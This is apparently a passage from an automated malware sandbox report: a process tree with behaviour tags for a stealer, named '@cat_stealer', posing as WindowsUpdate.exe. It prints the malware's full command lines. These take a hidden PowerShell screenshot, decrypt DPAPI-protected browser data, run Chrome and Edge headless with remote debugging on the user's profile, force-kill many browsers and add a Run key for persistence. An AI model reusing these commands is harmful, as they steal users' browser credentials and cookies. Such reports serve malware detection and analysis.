                                                          powershell -NonInteractive -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $b=New-Object System.Drawing.Bitmap([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width,[System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height); $g=[System.Drawing.Graphics]::FromImage($b); $g.CopyFromScreen(0,0,0,0,$b.Size); $b.Save('C:\Users\Admin\AppData\Local\Temp\tmp_1787111895241.png'); $g.Dispose(); $b.Dispose()"
                                                          3⤵
                                                          • Command and Scripting Interpreter: PowerShell
                                                          PID:1340
                                                      • C:\Windows\system32\reg.exe
                                                        reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe" /ve
                                                        2⤵
                                                          PID:4108
                                                          • C:\Windows\System32\Conhost.exe
                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                            3⤵
                                                              PID:3132
                                                          • C:\Windows\system32\reg.exe
                                                            reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe" /ve
                                                            2⤵
                                                              PID:3160
                                                            • C:\Users\Admin\AppData\Local\Temp\n6lqpf5iks_cv\b\jlrr9qrvsk.exe
                                                              C:\Users\Admin\AppData\Local\Temp\n6lqpf5iks_cv\b\jlrr9qrvsk.exe chrome -k -o C:\Users\Admin\AppData\Local\Temp\n6lqpf5iks_cv\o
                                                              2⤵
                                                              • Executes dropped EXE
                                                              PID:4356
                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                                                3⤵
                                                                  PID:2256
                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                powershell -NoProfile -Command " Add-Type -AssemblyName System.Security.Cryptography.ProtectedData [void][System.Reflection.Assembly]::LoadWithPartialName('System.Security') try { $encData = [System.IO.File]::ReadAllBytes('C:\Users\Admin\AppData\Local\Temp\m3265c.bin') $decData = [System.Security.Cryptography.ProtectedData]::Unprotect($encData, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser) [System.IO.File]::WriteAllBytes('C:\Users\Admin\AppData\Local\Temp\9trgrc.bin', $decData) } catch { exit 1 } "
                                                                2⤵
                                                                • Command and Scripting Interpreter: PowerShell
                                                                PID:3424
                                                              • C:\Windows\system32\reg.exe
                                                                reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe" /ve
                                                                2⤵
                                                                  PID:1912
                                                                • C:\Windows\system32\reg.exe
                                                                  reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe" /ve
                                                                  2⤵
                                                                    PID:888
                                                                    • C:\Windows\System32\Conhost.exe
                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                      3⤵
                                                                        PID:5492
                                                                    • C:\Windows\system32\cmd.exe
                                                                      C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM chrome.exe"
                                                                      2⤵
                                                                        PID:1924
                                                                        • C:\Windows\system32\taskkill.exe
                                                                          taskkill /F /T /IM chrome.exe
                                                                          3⤵
                                                                          • Kills process with taskkill
                                                                          PID:972
                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                        powershell -NoProfile -NonInteractive -Command "Start-Process -FilePath 'C:\Program Files\Google\Chrome\Application\chrome.exe' -ArgumentList '--remote-debugging-port=9984','--headless','--no-first-run','--no-default-browser-check','--disable-sync','--disable-extensions','--no-sandbox','--disable-gpu','--disable-background-mode','--disable-crash-reporter','--disable-client-side-phishing-detection','--disable-default-apps','--no-pings','--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data','--profile-directory=Default','--hide-crash-restore-bubble','--disable-session-crashed-bubble' -WindowStyle Hidden"
                                                                        2⤵
                                                                        • Command and Scripting Interpreter: PowerShell
                                                                        • Uses browser remote debugging
                                                                        PID:3612
                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9984 --headless --no-first-run --no-default-browser-check --disable-sync --disable-extensions --no-sandbox --disable-gpu --disable-background-mode --disable-crash-reporter --disable-client-side-phishing-detection --disable-default-apps --no-pings --user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data --profile-directory=Default --hide-crash-restore-bubble --disable-session-crashed-bubble
                                                                          3⤵
                                                                          • Uses browser remote debugging
                                                                          • Enumerates system info in registry
                                                                          • Suspicious use of FindShellTrayWindow
                                                                          PID:5684
                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Google\Chrome\User\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7fff9486c728,0x7fff9486c734,0x7fff9486c740
                                                                            4⤵
                                                                              PID:4848
                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --headless --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=1876,i,11406416893140500844,17679103644058795404,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=1872 /prefetch:2
                                                                              4⤵
                                                                                PID:3136
                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User" --force-high-res-timeticks=disabled --field-trial-handle=1876,i,11406416893140500844,17679103644058795404,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=1684 /prefetch:11
                                                                                4⤵
                                                                                • System Time Discovery
                                                                                PID:3424
                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User" --force-high-res-timeticks=disabled --field-trial-handle=1876,i,11406416893140500844,17679103644058795404,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=1980 /prefetch:13
                                                                                4⤵
                                                                                  PID:1340
                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9984 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=1876,i,11406416893140500844,17679103644058795404,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2976 /prefetch:1
                                                                                  4⤵
                                                                                  • Uses browser remote debugging
                                                                                  PID:1664
                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9984 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=1876,i,11406416893140500844,17679103644058795404,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2972 /prefetch:1
                                                                                  4⤵
                                                                                  • Uses browser remote debugging
                                                                                  PID:4872
                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9984 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=1876,i,11406416893140500844,17679103644058795404,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3088 /prefetch:1
                                                                                  4⤵
                                                                                  • Uses browser remote debugging
                                                                                  PID:4840
                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9984 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=1876,i,11406416893140500844,17679103644058795404,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3220 /prefetch:9
                                                                                  4⤵
                                                                                  • Uses browser remote debugging
                                                                                  PID:4996
                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9984 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --field-trial-handle=1876,i,11406416893140500844,17679103644058795404,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3660 /prefetch:9
                                                                                  4⤵
                                                                                  • Uses browser remote debugging
                                                                                  PID:3768
                                                                            • C:\Windows\system32\cmd.exe
                                                                              C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM chrome.exe"
                                                                              2⤵
                                                                                PID:1020
                                                                                • C:\Windows\system32\taskkill.exe
                                                                                  taskkill /F /T /IM chrome.exe
                                                                                  3⤵
                                                                                  • Kills process with taskkill
                                                                                  PID:5432
                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                powershell -NoProfile -Command " Add-Type -AssemblyName System.Security.Cryptography.ProtectedData [void][System.Reflection.Assembly]::LoadWithPartialName('System.Security') try { $encData = [System.IO.File]::ReadAllBytes('C:\Users\Admin\AppData\Local\Temp\okn4a6.bin') $decData = [System.Security.Cryptography.ProtectedData]::Unprotect($encData, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser) [System.IO.File]::WriteAllBytes('C:\Users\Admin\AppData\Local\Temp\4murne.bin', $decData) } catch { exit 1 } "
                                                                                2⤵
                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                PID:6180
                                                                              • C:\Windows\system32\reg.exe
                                                                                reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe" /ve
                                                                                2⤵
                                                                                  PID:6312
                                                                                • C:\Windows\system32\reg.exe
                                                                                  reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe" /ve
                                                                                  2⤵
                                                                                    PID:6348
                                                                                  • C:\Windows\system32\cmd.exe
                                                                                    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM msedge.exe"
                                                                                    2⤵
                                                                                    • Executes a command shell one-liner
                                                                                    PID:6384
                                                                                    • C:\Windows\system32\taskkill.exe
                                                                                      taskkill /F /T /IM msedge.exe
                                                                                      3⤵
                                                                                        PID:6424
                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9858 --headless --no-first-run --no-default-browser-check --disable-sync --disable-extensions --no-sandbox --disable-gpu --disable-background-mode --disable-crash-reporter --disable-client-side-phishing-detection --disable-default-apps --no-pings "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --profile-directory=Default
                                                                                      2⤵
                                                                                      • Uses browser remote debugging
                                                                                      • Enumerates system info in registry
                                                                                      • Suspicious use of FindShellTrayWindow
                                                                                      PID:6472
                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x254,0x258,0x25c,0x250,0x31c,0x7fff9e1ac188,0x7fff9e1ac194,0x7fff9e1ac1a0
                                                                                        3⤵
                                                                                          PID:6500
                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-sandbox --headless --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --field-trial-handle=2620,i,1888911931625731150,6092140331411219513,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2600 /prefetch:2
                                                                                          3⤵
                                                                                            PID:6776
                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2620,i,1888911931625731150,6092140331411219513,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2612 /prefetch:11
                                                                                            3⤵
                                                                                            • System Time Discovery
                                                                                            PID:6784
                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2620,i,1888911931625731150,6092140331411219513,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2636 /prefetch:13
                                                                                            3⤵
                                                                                              PID:6792
                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9858 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=2620,i,1888911931625731150,6092140331411219513,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3392 /prefetch:1
                                                                                              3⤵
                                                                                              • Uses browser remote debugging
                                                                                              PID:7084
                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9858 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=2620,i,1888911931625731150,6092140331411219513,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3396 /prefetch:1
                                                                                              3⤵
                                                                                              • Uses browser remote debugging
                                                                                              PID:7092
                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9858 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --field-trial-handle=2620,i,1888911931625731150,6092140331411219513,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3752 /prefetch:1
                                                                                              3⤵
                                                                                              • Uses browser remote debugging
                                                                                              PID:3836
                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9858 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --field-trial-handle=2620,i,1888911931625731150,6092140331411219513,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4288 /prefetch:9
                                                                                              3⤵
                                                                                              • Uses browser remote debugging
                                                                                              PID:3264
                                                                                          • C:\Windows\system32\cmd.exe
                                                                                            C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM msedge.exe"
                                                                                            2⤵
                                                                                            • Executes a command shell one-liner
                                                                                            PID:3032
                                                                                            • C:\Windows\system32\taskkill.exe
                                                                                              taskkill /F /T /IM msedge.exe
                                                                                              3⤵
                                                                                              • Kills process with taskkill
                                                                                              PID:3316
                                                                                        • C:\Users\Admin\AppData\Local\Temp\WindowsUpdate.exe
                                                                                          C:\Users\Admin\AppData\Local\Temp\WindowsUpdate.exe
                                                                                          1⤵
                                                                                          • Checks processor information in registry
                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                          • Suspicious use of WriteProcessMemory
                                                                                          PID:3052
                                                                                          • C:\Windows\system32\cmd.exe
                                                                                            C:\Windows\system32\cmd.exe /d /s /c "reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "@cat_stealer" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\WindowsUpdate.exe" /f"
                                                                                            2⤵
                                                                                            • Executes a command shell one-liner
                                                                                            • Suspicious use of WriteProcessMemory
                                                                                            PID:3884
                                                                                            • C:\Windows\system32\reg.exe
                                                                                              reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "@cat_stealer" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\WindowsUpdate.exe" /f
                                                                                              3⤵
                                                                                              • Adds Run key to start application
                                                                                              PID:2184
                                                                                          • C:\Users\Admin\AppData\Local\Temp\WindowsUpdate.exe
                                                                                            "C:\Users\Admin\AppData\Local\Temp\WindowsUpdate.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\Update Manager" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=1800,i,3828400743364683178,10513132489134612830,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=1756 /prefetch:2
                                                                                            2⤵
                                                                                              PID:1068
                                                                                            • C:\Windows\system32\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM chrome.exe"
                                                                                              2⤵
                                                                                              • Executes a command shell one-liner
                                                                                              • Suspicious use of WriteProcessMemory
                                                                                              PID:1772
                                                                                              • C:\Windows\system32\taskkill.exe
                                                                                                taskkill /F /T /IM chrome.exe
                                                                                                3⤵
                                                                                                • Kills process with taskkill
                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                PID:3240
                                                                                            • C:\Windows\system32\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM msedge.exe"
                                                                                              2⤵
                                                                                              • Executes a command shell one-liner
                                                                                              • Suspicious use of WriteProcessMemory
                                                                                              PID:5360
                                                                                              • C:\Windows\system32\taskkill.exe
                                                                                                taskkill /F /T /IM msedge.exe
                                                                                                3⤵
                                                                                                • Kills process with taskkill
                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                PID:2020
                                                                                            • C:\Windows\system32\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM firefox.exe"
                                                                                              2⤵
                                                                                              • Suspicious use of WriteProcessMemory
                                                                                              PID:4320
                                                                                              • C:\Windows\system32\taskkill.exe
                                                                                                taskkill /F /T /IM firefox.exe
                                                                                                3⤵
                                                                                                • Kills process with taskkill
                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                PID:752
                                                                                            • C:\Windows\system32\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM brave.exe"
                                                                                              2⤵
                                                                                              • Executes a command shell one-liner
                                                                                              • Suspicious use of WriteProcessMemory
                                                                                              PID:2288
                                                                                              • C:\Windows\system32\taskkill.exe
                                                                                                taskkill /F /T /IM brave.exe
                                                                                                3⤵
                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                PID:1600
                                                                                            • C:\Windows\system32\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM opera.exe"
                                                                                              2⤵
                                                                                              • Suspicious use of WriteProcessMemory
                                                                                              PID:1740
                                                                                              • C:\Windows\system32\taskkill.exe
                                                                                                taskkill /F /T /IM opera.exe
                                                                                                3⤵
                                                                                                • Kills process with taskkill
                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                PID:1076
                                                                                            • C:\Windows\system32\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM vivaldi.exe"
                                                                                              2⤵
                                                                                              • Executes a command shell one-liner
                                                                                              • Suspicious use of WriteProcessMemory
                                                                                              PID:4544
                                                                                              • C:\Windows\system32\taskkill.exe
                                                                                                taskkill /F /T /IM vivaldi.exe
                                                                                                3⤵
                                                                                                • Kills process with taskkill
                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                PID:5524
                                                                                            • C:\Windows\system32\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM chromium.exe"
                                                                                              2⤵
                                                                                              • Executes a command shell one-liner
                                                                                              • Suspicious use of WriteProcessMemory
                                                                                              PID:1668
                                                                                              • C:\Windows\system32\taskkill.exe
                                                                                                taskkill /F /T /IM chromium.exe
                                                                                                3⤵
                                                                                                • Kills process with taskkill
                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                PID:3964
                                                                                            • C:\Windows\system32\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM slimjet.exe"
                                                                                              2⤵
                                                                                              • Suspicious use of WriteProcessMemory
                                                                                              PID:4100
                                                                                              • C:\Windows\system32\taskkill.exe
                                                                                                taskkill /F /T /IM slimjet.exe
                                                                                                3⤵
                                                                                                • Kills process with taskkill
                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                PID:3672
                                                                                            • C:\Windows\system32\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM iridium.exe"
                                                                                              2⤵
                                                                                              • Suspicious use of WriteProcessMemory
                                                                                              PID:5800
                                                                                              • C:\Windows\system32\taskkill.exe
                                                                                                taskkill /F /T /IM iridium.exe
                                                                                                3⤵
                                                                                                • Kills process with taskkill
                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                PID:4664
                                                                                            • C:\Windows\system32\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM chedot.exe"
                                                                                              2⤵
                                                                                              • Executes a command shell one-liner
                                                                                              • Suspicious use of WriteProcessMemory
                                                                                              PID:4324
                                                                                              • C:\Windows\system32\taskkill.exe
                                                                                                taskkill /F /T /IM chedot.exe
                                                                                                3⤵
                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                PID:6100
                                                                                            • C:\Windows\system32\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM coccocbrowser.exe"
                                                                                              2⤵
                                                                                              • Executes a command shell one-liner
                                                                                              • Suspicious use of WriteProcessMemory
                                                                                              PID:2040
                                                                                              • C:\Windows\system32\taskkill.exe
                                                                                                taskkill /F /T /IM coccocbrowser.exe
                                                                                                3⤵
                                                                                                • Kills process with taskkill
                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                PID:5892
                                                                                            • C:\Windows\system32\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM avgbrowser.exe"
                                                                                              2⤵
                                                                                              • Executes a command shell one-liner
                                                                                              • Suspicious use of WriteProcessMemory
                                                                                              PID:5324
                                                                                              • C:\Windows\system32\taskkill.exe
                                                                                                taskkill /F /T /IM avgbrowser.exe
                                                                                                3⤵
                                                                                                • Kills process with taskkill
                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                PID:5380
                                                                                            • C:\Windows\system32\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM avastbrowser.exe"
                                                                                              2⤵
                                                                                              • Executes a command shell one-liner
                                                                                              PID:1888
                                                                                              • C:\Windows\system32\taskkill.exe
                                                                                                taskkill /F /T /IM avastbrowser.exe
                                                                                                3⤵
                                                                                                • Kills process with taskkill
                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                PID:5692
                                                                                            • C:\Windows\system32\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM dragon.exe"
                                                                                              2⤵
                                                                                                PID:4280
                                                                                                • C:\Windows\system32\taskkill.exe
                                                                                                  taskkill /F /T /IM dragon.exe
                                                                                                  3⤵
                                                                                                  • Kills process with taskkill
                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                  PID:5276
                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM thorium.exe"
                                                                                                2⤵
                                                                                                • Executes a command shell one-liner
                                                                                                PID:2984
                                                                                                • C:\Windows\system32\taskkill.exe
                                                                                                  taskkill /F /T /IM thorium.exe
                                                                                                  3⤵
                                                                                                  • Kills process with taskkill
                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                  PID:2676
                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM blisk.exe"
                                                                                                2⤵
                                                                                                  PID:5920
                                                                                                  • C:\Windows\system32\taskkill.exe
                                                                                                    taskkill /F /T /IM blisk.exe
                                                                                                    3⤵
                                                                                                    • Kills process with taskkill
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:4948
                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                  C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM wavebox.exe"
                                                                                                  2⤵
